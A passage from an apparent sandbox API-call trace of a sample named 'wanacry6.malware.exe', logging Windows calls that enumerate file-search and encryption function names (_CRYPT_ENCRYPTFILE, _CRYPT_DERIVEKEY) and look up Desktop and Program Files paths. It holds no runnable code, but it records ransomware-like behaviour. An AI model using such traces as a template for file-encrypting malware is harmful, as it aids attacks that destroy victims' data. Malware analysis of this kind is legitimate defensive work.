lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.569] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0047.569] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.570] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0047.570] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.570] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.570] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.570] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.570] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.571] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.571] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.571] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.571] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.571] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.572] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.573] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.573] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.573] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.573] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.573] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.573] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.574] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.575] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.576] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.577] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0047.578] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.578] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0047.579] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.579] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0047.579] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.579] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.579] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.579] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.579] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.579] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.580] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0047.580] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.580] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.580] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0047.580] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.580] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.580] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.580] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0047.581] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.581] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.581] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x10f395ec20 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0047.581] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0x10f394f400, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0047.581] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.581] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x10f395ec20 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0047.582] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0x10f394f400, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0047.582] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.582] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x10f395ec20 | out: pszPath="C:\\Program Files") returned 0x0 [0047.582] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0x10f394f400, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0047.582] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.583] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0x10f394f400, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0047.583] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.583] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0x10f394f400, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0047.583] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.583] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0x10f394f400, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0047.584] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.584] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.584] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0047.584] PeekMessageW (in: lpMsg=0x10f395ef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 